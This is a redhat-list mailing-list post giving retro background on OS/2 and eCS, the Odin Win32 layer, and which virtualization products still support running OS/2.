Continued pseudo improvements (Win32 hacks through Odin --a semi-port of Wine) have been done by an organization named Serenity Systems International. In turn, this organization has renamed OS/2 as eCS. They have developed some hacks to make OS/2 install in multi-core systems; however, as expected, the ancient operating system does not take advantage of all the power in newer hardware. It can not be virtualized with Xen or KVM. OS/2 could be a host or a fully virtualized guest (read not optimal) in Connectix 5.x Virtual PC (2005-6) --through an Odin hack implemented by Innotek (subsequently acquired by Sun Microsystems mainly for VirtualBox). At the moment I think that only Parallels and VirtualBox (with hardware assisted virtualiztion support < http://www.metztli-it.com/blog/index.php/2008/10/14/from-mainframes-to-distributed-computing?blog=4 >) continue to provide support for OS/2 and there are some reports that there is partial support in VMware. Hope you find the retro info useful, Mark. -- Jose R R http://www.metztli-it.com --------------------------------------------------------------------------------------------- IBM Lotus Symphony supported on GNU/Linux, Mac OS, and Windows. --------------------------------------------------------------------------------------------- Daylight Saving Time in USA & Canada starts: Sunday 08 March 2009 --------------------------------------------------------------------------------------------- -- redhat-list mailing list unsubscribe mailto:redhat-list-request@xxxxxxxxxx?subject=unsubscribe https://www.redhat.com/mailman/listinfo/redhat-list
